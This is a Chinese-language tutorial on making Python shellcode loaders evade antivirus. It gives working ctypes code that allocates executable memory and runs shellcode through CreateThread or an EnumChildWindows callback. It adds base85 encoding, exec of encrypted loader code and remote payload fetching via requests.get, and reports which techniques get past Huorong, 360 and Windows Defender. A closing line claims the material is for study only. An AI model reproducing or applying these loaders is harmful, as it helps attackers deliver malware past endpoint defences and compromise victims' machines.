关于python的免杀简述
字数 1006 2025-08-12 11:34:21

Python免杀技术详解

一、免杀技术概述

免杀技术(Anti Anti-Virus)是一种能使病毒木马免于被杀毒软件查杀的技术。该技术涉及反汇编、逆向工程、系统漏洞等黑客技术,主要通过修改病毒、木马的内容改变特征码来躲避杀毒软件的查杀。

二、杀毒软件的查杀方式

1. 基于特征查杀

  • 定义阈值判断恶意程序
  • 使用以下手段进行查杀:
    • 文件MD5/SHA1哈希值
    • 匹配文件中的字符串
    • 程序入口点分析
    • IAT导入表分析
  • 高度依赖厂商病毒库更新

2. 基于行为查杀

  • Hook关键系统API:
    • 注册表操作
    • 添加启动项/服务/用户
    • 进程/线程注入
    • DLL加载
    • 进程/线程创建
  • 监控API调用链(如:申请内存→加载shellcode→执行内存)

三、Python免杀实现技术

1. 基础shellcode加载器

buf = b"" # shellcode字节流

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_int64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

原理

  1. 申请可执行内存
  2. 将shellcode写入内存
  3. 创建线程执行内存中的shellcode
  4. 等待线程执行完成

查杀情况

  • 火绒:静态查杀(基于特征码)
  • 360:云端查杀

2. shellcode加密处理

使用base85等加密算法对shellcode进行加密:

# 加密处理shellcode
encrypted_buf = b85encode(original_buf)

查杀情况

  • 火绒:仍被查杀(API函数特征)
  • 360:可通过云端查杀

3. 敏感函数特征处理

对关键API调用代码进行整体加密,使用eval/exec动态执行:

# 加密整个加载代码
encrypted_code = encrypt_code("""
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
""")

# 运行时解密执行
exec(decrypt(encrypted_code))

查杀情况

  • 火绒:可通过
  • 360:可通过

4. 绕过Windows Defender

使用回调函数技术:

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_int64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
ctypes.memmove(rwxpage, buf, len(buf))
ctypes.windll.User32.EnumChildWindows(None, ctypes.c_void_p(rwxpage), 0)

原理
利用回调函数机制间接执行shellcode,避免直接调用敏感API

5. 远程加载优化

改为从远程服务器动态加载shellcode,减少本地特征:

import requests

# 从远程获取加密的shellcode
encrypted_buf = requests.get("http://remote.server/shellcode").content
buf = decrypt(encrypted_buf)
# 然后使用前述方法加载

四、技术要点总结

  1. 多层加密:对shellcode和加载代码进行多层加密
  2. 动态执行:使用eval/exec等动态执行技术
  3. API混淆:对敏感API调用进行混淆处理
  4. 回调机制:利用系统回调函数间接执行代码
  5. 远程加载:减少本地特征,动态获取payload
  6. 代码分散:将关键功能分散到不同模块

五、注意事项

  1. Python打包后的体积较大,特征明显
  2. 对于高级杀软(如卡巴斯基)仍需更复杂的技术
  3. 建议结合C/C++加载器提高免杀效果
  4. 本文技术仅供学习研究,请勿用于非法用途

六、未来发展方向

  1. 研究更多API调用链混淆技术
  2. 探索内存操作替代方案
  3. 研究无文件攻击技术
  4. 结合合法软件的白名单特性
  5. 研究基于机器学习的对抗技术
Python免杀技术详解 一、免杀技术概述 免杀技术(Anti Anti-Virus)是一种能使病毒木马免于被杀毒软件查杀的技术。该技术涉及反汇编、逆向工程、系统漏洞等黑客技术,主要通过修改病毒、木马的内容改变特征码来躲避杀毒软件的查杀。 二、杀毒软件的查杀方式 1. 基于特征查杀 定义阈值判断恶意程序 使用以下手段进行查杀: 文件MD5/SHA1哈希值 匹配文件中的字符串 程序入口点分析 IAT导入表分析 高度依赖厂商病毒库更新 2. 基于行为查杀 Hook关键系统API: 注册表操作 添加启动项/服务/用户 进程/线程注入 DLL加载 进程/线程创建 监控API调用链(如:申请内存→加载shellcode→执行内存) 三、Python免杀实现技术 1. 基础shellcode加载器 原理 : 申请可执行内存 将shellcode写入内存 创建线程执行内存中的shellcode 等待线程执行完成 查杀情况 : 火绒:静态查杀(基于特征码) 360:云端查杀 2. shellcode加密处理 使用base85等加密算法对shellcode进行加密: 查杀情况 : 火绒:仍被查杀(API函数特征) 360:可通过云端查杀 3. 敏感函数特征处理 对关键API调用代码进行整体加密,使用eval/exec动态执行: 查杀情况 : 火绒:可通过 360:可通过 4. 绕过Windows Defender 使用回调函数技术: 原理 : 利用回调函数机制间接执行shellcode,避免直接调用敏感API 5. 远程加载优化 改为从远程服务器动态加载shellcode,减少本地特征: 四、技术要点总结 多层加密 :对shellcode和加载代码进行多层加密 动态执行 :使用eval/exec等动态执行技术 API混淆 :对敏感API调用进行混淆处理 回调机制 :利用系统回调函数间接执行代码 远程加载 :减少本地特征,动态获取payload 代码分散 :将关键功能分散到不同模块 五、注意事项 Python打包后的体积较大,特征明显 对于高级杀软(如卡巴斯基)仍需更复杂的技术 建议结合C/C++加载器提高免杀效果 本文技术仅供学习研究,请勿用于非法用途 六、未来发展方向 研究更多API调用链混淆技术 探索内存操作替代方案 研究无文件攻击技术 结合合法软件的白名单特性 研究基于机器学习的对抗技术